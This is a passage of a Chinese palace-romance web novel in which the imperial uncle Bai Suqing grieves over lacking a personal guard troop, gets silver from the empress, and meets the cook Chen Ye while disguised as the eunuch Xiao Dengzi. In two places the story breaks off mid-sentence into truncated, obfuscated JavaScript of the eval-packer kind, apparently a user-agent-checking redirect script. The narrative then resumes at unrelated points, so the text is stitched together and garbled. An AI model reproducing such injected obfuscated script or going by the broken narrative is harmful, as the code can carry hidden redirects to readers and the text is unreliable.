“小舅舅，你……”李景川也是刚刚听了无影说才知道，小舅舅竟然没有自己的暗卫队，他身边只有母后派的两个暗卫负责保护他的安全。 小孩子得了心爱的东西总想着要显摆一番，这东西不好向外人显摆，便只能来找白肃清了。不过他没想到，暗卫队一事对他的打击如此之大，“小舅舅，你……” 白肃清双眼无神，食指抵在唇间，打断了他，“嘘，别说话，仔细听。” “听什么？”李景川很是疑惑，屋里很安静啊，什么声音也没有。 白肃清动了动毫无血色的唇，缓缓吐出五个字，“心碎的声音。” 随后便不再说话。 沉默的声音震耳欲聋，李景川闭上了嘴，学着白肃清平时安慰他的模样，手抚上他的头，摸摸，“不要紧的小舅舅，明天我们一起用膳，陈叶姐姐做的菜可好吃了。” 提到陈叶，想起今夜的无功而返，白肃清更崩溃了，蹙着眉，捂住脸，大声嚎啕，“呜呜呜…” 痛哭的声音响彻东宫。 …… 夜里，陈叶睡得很是不安。 天旋地转的，她一直跑一直跑，却全是死胡同，偌大的皇宫内竟没有一扇门，她怎么跑都跑不出去。 慌不择路之际，面前出现一扇门，陈叶犹如看到了希望，推门而进。 然而并没有看到希望的出宫之路，赫然出现在眼前的，是按在刑凳上被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我没说不信，只是，你这都不知道传了多少嘴了，万一是别人胡诌的呢？” “我都说了，是永巷巡街打更的胡公公亲口说的！你不信就算了！”粉衣小宫女生气了，别过头去不愿再和蓝衣宫女讲话。 “哎呀，我信我信，你别生气嘛。”蓝衣小宫女放下手中的菜，凑上前去，拉住粉衣宫女手臂。 小宫女们的谈话一字不落地进入了正巧来选菜的陈叶耳中，“啪嗒”，手中拿的萝卜应声落地，断成两截。 两名小宫女吓了一跳，纷纷跪地，以为是自己干活不认真惹得陈叶生气，“陈叶姐姐，我们再也不敢说闲话了，求姐姐别告诉典膳。” “无事，我只是没拿稳罢了，你们继续。”陈叶强扯出微笑，拿着自己今日需要的菜走了。 陈叶恍恍惚惚的，昨夜东宫到底发生了什么？怎么会有凄惨的哭声？ 不会真的是小凳子被罚了吧？ 可他说过小国舅不是那样草菅人命的人，脾气极好，待他和小锤子也极好。 但他偏偏突然就消失不见，了无音讯，不是被罚还能是因为什么呢？ 26. 糟糕！忘记自己穿的什么衣服了…… 哭了一夜，白肃清的眼睛肿得像鹌鹑蛋，讲学的许太傅看了都不再揪着他不放，就怕白肃清的鹌鹑蛋般大的眼睛肿成鸡蛋。 顶着这样幽怨的面容，白肃清幽灵般走进凤仪殿。 “啊！”恰巧出门的红霞与白肃清打了个照面，浑身一颤，被吓出惨叫。 怎么大白天的还能有鬼啊！ 仔细一看，不对！不是鬼！是小国舅爷啊！ 红霞立马正色行礼，“见过小国舅。” “不必多礼…”白肃清的声音不似平时爽朗有力，像是坠入了冰窟一般，幽幽的，听了令人浑身发寒。 红霞搓了搓手臂上的鸡皮疙瘩，打了个寒颤，小国舅这是怎么了？跟撞了鬼一样？看上去怪怪的。 不行！不能让他一个人见皇后娘娘。 红霞立马折返回殿中。 殿内，白肃云翻看着账本，端庄严肃，雍容华贵。 这样一副美人捧书图，硬生生地被白肃清打破了。 “阿姐…”白肃清幽幽开口，缓缓拉长的声音在空旷的殿中回荡，让人感觉到一丝凉意。 白肃云捧着账本的手微微一颤，缓缓抬头，美丽无瑕的面容上出现了一丝裂痕。 “阿清，你这是？”白肃云迟疑道，阿清今日怎么这样……憔悴？ 她实在不知该用什么词来形容眼前的白肃清，脸色发灰、双目无神犹如行尸走肉。 不过还好她什么大场面都见过了，对白肃清的事更是手到擒来，很快便恢复了雍容典雅的姿态，温柔道，“阿清？这是怎么了？和阿姐说说？” 白肃清了无生气，“我说了阿姐就能解决吗？” 白肃云把殿中人都屏退，红霞一步三回头，关好殿门，守在门口，若是里面有一丝异动，她能以最快的速度冲进去。 不是她不信任白肃清，是他太异常了，虽然他的异常与那夜那夜醉了酒的李仲君不同，但她就是不放心。她绝不能再让皇后娘娘受到一丝伤害！ “这是自然…阿姐能解决的自然会帮你解决。”白肃云隐隐觉得有些不对劲，但又不知道是哪里不对劲，总归还是没打包票。 “那好，我要有自己的暗卫队。”白肃清得到肯定，神清气爽，整个人都精神了，立马接上，不给白肃云任何反悔的机会，“阿姐你说了的，会帮我解决。” 白肃云错愕，心道失策了，果然承诺不能给的太快，这小子怎么今日又闹起暗卫的事情了。但很快又反应过来，他和川儿关系一向好，估计是知道自己把暗卫队给了川儿，心里不平衡这才寻她来了。但她也没办法，她只有一支暗卫队，已经给了川儿。 一时间，她觉得自己像个老妈妈，顾了这个又没法顾那个。 知道白肃云没法再给他变出一只暗卫队来，白肃清也不强求，“我不是要和川儿争的，我要见大哥，我要和他当面对质！到时候阿姐你要站在我这边！” 既如此，那便让大哥头疼去，她是没办法管这事了，白肃云答应，“好，我这就给大哥传信，让他进宫一趟。” 达到目的，顶着两个大鹌鹑蛋的白肃清笑了，不过眼睛太肿，眯起来只剩条缝。 “阿清可还有其他事？” “有，阿姐，我要银子。”白肃清再度极速接话，他是不打算委屈自己了，他给白家挣的银子可不少，朝阿姐要银子他不觉得有什么问题。 “好，红霞，进来。” “拿一千两银票给阿清。” 一千两银票，很轻便了。但他没地换碎银子给陈叶啊，到时候一掏便是一百两，太奇怪了，肯定会吓到她，“等等，阿姐，我要五百两银票，五百两碎银子。” 白肃云很是不解迟疑了一会，还是让红霞照着他的要求拿。 银票放进胸膛，碎银子揣两块进袖口，剩余的用布包成包裹状，单肩背好。 收获颇丰，白肃清大摇大摆，走出凤仪宫。 没走多远，便看到陈叶手里提着食盒，迎面而来。 老天今日待我不薄啊！白肃清甚至开心，对着陈叶招起了手，迎面而去，“陈叶姑娘！” 陈叶愣了好一会，盯着眼前人看了好半天。 看到陈叶犹豫的眼神，白肃清猛然清醒，糟糕！忘了自己穿的不是太监服。 那就必须先下手为强了，他的手在陈叶眼前挥了挥，人虽然是笑着的，但语气中的低落是个人都能听出来，“陈叶姑娘，我是小凳子啊！你不会…忘了我吧？” 很熟悉，声音是小凳子的声音，身形是小凳子的身形、脸也是小凳子的脸、笑起来连嘴角的弧度都一样。可一连几日都袅无音讯的人突然出现在自己眼前，还穿着陌生的衣裳，陈叶实在是有些不敢认，迟疑问道，“你真是…小凳子？” “当然啦！你瞧瞧，真的小凳子，如假包换！”白肃清扯了扯自己的脸，龇牙咧嘴地向陈叶展示自己的真实。 忧心了几日，看见活蹦乱跳的小凳子，陈叶放下心来，被逗笑了，“那你怎么穿成这样？这不是你能穿的衣服吧？” 白肃清神神秘秘地凑近，小声道，“刚陪小国舅挨完罚，他嫌这样的衣裳碍了他在宫中行走，便换了我的衣裳，让我顶着他的身份回去继续抄书。” 陈叶了然，这小国舅还真是不着调，被罚了还有心思换太监服出去玩。 “我还是第一次穿这样好看的衣裳呢！陈叶姑娘你帮我看看合不合身？”说着白肃清转了个圈，完完全全地把自己展示在陈叶面前。肩上挎着的包在陈叶面前一闪而过。太监即使穿着主子的衣服也得为主子拿东西，这很符合太监的身份。还好今日没让小凳子跟过来，否则还真不知道怎么办。 衣裳很是合身，就像是量身定做的一般。小凳子身形高挺，即便穿着太监服也是极为板正的，如今穿着裁剪这样得当的衣服，还配有玉石腰带，宽肩窄腰的，显得身形更加颀长。 “好看，也很合身。”陈叶看后，认真回道。 白肃清听了笑得更灿烂了，眼睛只剩一条缝。 太明显了，陈叶实在略不开，“小凳子，你眼睛怎么了？这样肿？” 该不会昨夜东宫被罚的就是他？只不过是被打了眼睛？可看上去又不像，倒像是哭出来的。 “嗷！眼睛啊！这不是挨罚了嘛，受不住便哭了一会，不过现在已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼睛专注在书上，但陈叶很敏锐地听到了熟悉的声音，“小凳子，你走慢点！我跟不上了！” 这声音一听就是小锤子，还是一如往常活泼，陈叶笑着抬起头，眼神刚好与抬脚进门的白肃清撞上。 廊下正好起了风，书页翻动。 发丝也随风飘动，一缕头发飘到陈叶眼前，陈叶摇了摇脑袋，伸手拨开发丝。 白肃清不自觉避开眼神，躬身，“陈叶姑娘。” 李景川就没这么规矩，他冲到陈叶面前，“陈叶姐姐！下午好！有好吃的吗？” 陈叶放下书笑道，“有，你们稍等片刻。” 她进膳房，取出不久前做好的鲜花饼陪茉莉花茶，是给银叶、彩叶还有自己吃的零嘴，也是为小凳子和小锤子准备的吃食。 今日在宫道上碰见小凳子知他安然无恙，想来今日是会来尚食局寻她的，还真让她等来了。 鲜花饼刚烤好没多久，温温热，还散发着丝丝香甜。 诱人至极。 “尝尝吧。”